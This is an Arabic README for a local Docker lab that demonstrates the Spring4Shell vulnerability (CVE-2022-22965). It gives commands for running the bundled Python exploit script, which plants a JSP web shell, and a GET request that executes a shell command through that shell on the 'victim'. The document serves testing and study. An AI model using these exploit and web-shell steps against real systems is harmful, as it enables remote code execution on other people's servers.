👾 CVE-2022-22965

هذا إثبات مفهوم لاستغلال ثغرة CVE-2022-22965 (spring4shell). يتكون من:

• تطبيق Springboot قابل للاستغلال؛
• سكربت استغلال مكتوب بلغة python؛
• تطبيق آمن لاختبار أن الاستغلال لا يعمل؛
• ملف dockerfile لتشغيل التطبيق القابل للاستغلال واختبار الاستغلال؛

🔧المساهمون

• [🇮🇹] Mario Offertucci؛
• [🇮🇹] Antonio Donnarumma؛

⚙️ المتطلبات الأساسية

• Docker: يُستخدم لتشغيل حاوية tomcat مع تطبيق Springboot؛
• Python: يُستخدم لتشغيل الاستغلال؛

1️⃣ تشغيل تطبيق Springboot

يوجد داخل المجلد الجذر للمشروع ملف Dockerfile ينشئ صورة tomcat وينسخ ملفي vulnerable_app/target/spring4shell.war وsafe_app/target/safeapp.war إلى مجلد /usr/local/tomcat/webapps، لذلك كل ما عليك فعله هو بناء الصورة وتشغيل الحاوية.

بناء صورة tomcat

docker build -t cve_2022_22965 .

تشغيل الحاوية

docker run -p 8080:8080 -d --name springshell cve_2022_22965

التحقق من استجابة التطبيق

curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson

إذا رأيت هذه الاستجابة

This is Elliot Alderson

فإن التطبيق يعمل بنجاح.

2️⃣ الآن يمكنك تشغيل الاستغلال

cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit

يمكنك اختياريًا تحديد اسم ملف jsp المُحقن، لكنه ليس إلزاميًا. مثال

cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp

إذا لم تحدد اسمًا، فسيتم إنشاء اسم عشوائي.

سترى ما يلي في سطر الأوامر
بعد تنفيذ الاستغلال، يمكنك أيضًا إرسال أمر عبر طلب HTTP GET

http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls

لقد نجحت في فتح شل على جهاز الضحية! استمتع.